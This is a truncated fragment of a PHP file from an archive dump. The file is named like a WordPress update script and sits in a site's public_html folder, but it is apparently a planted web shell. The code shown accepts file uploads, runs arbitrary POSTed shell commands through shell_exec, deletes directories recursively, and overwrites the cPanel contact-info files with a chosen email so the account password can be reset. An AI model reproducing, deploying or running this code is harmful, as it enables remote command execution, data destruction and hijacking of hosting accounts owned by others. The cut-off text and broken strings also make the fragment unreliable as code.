home/beautybuzzbeyond/public_html/old/update/wpupex.php 0000644 00000033526 14717743377 0017541 0 ustar 00 File uploaded successfully!
"; } else { echo "Failed to move uploaded file.
"; } } else { echo "Error uploading file: " . $file['error'] . "
"; } } break; case 'execute': if (isset($_POST['command'])) { $command = $_POST['command']; // Execute the command and capture the output $output = shell_exec($command . ' 2>&1'); // Redirect stderr to stdout } break; } } function deleteDirectory($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array('.', '..')); foreach ($items as $item) { $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } function reset_cpanel_password($email) { $user = get_current_user(); $site = $_SERVER['HTTP_HOST']; $resetUrl = $site . ':2082/resetpass?start=1'; $wr = 'email:' . $email; $f = fopen('/home/' . $user . '/.cpanel/contactinfo', 'w'); fwrite($f, $wr); fclose($f); $f = fopen('/home/' . $user . '/.contactinfo', 'w'); fwrite($f, $wr); fclose($f); echo '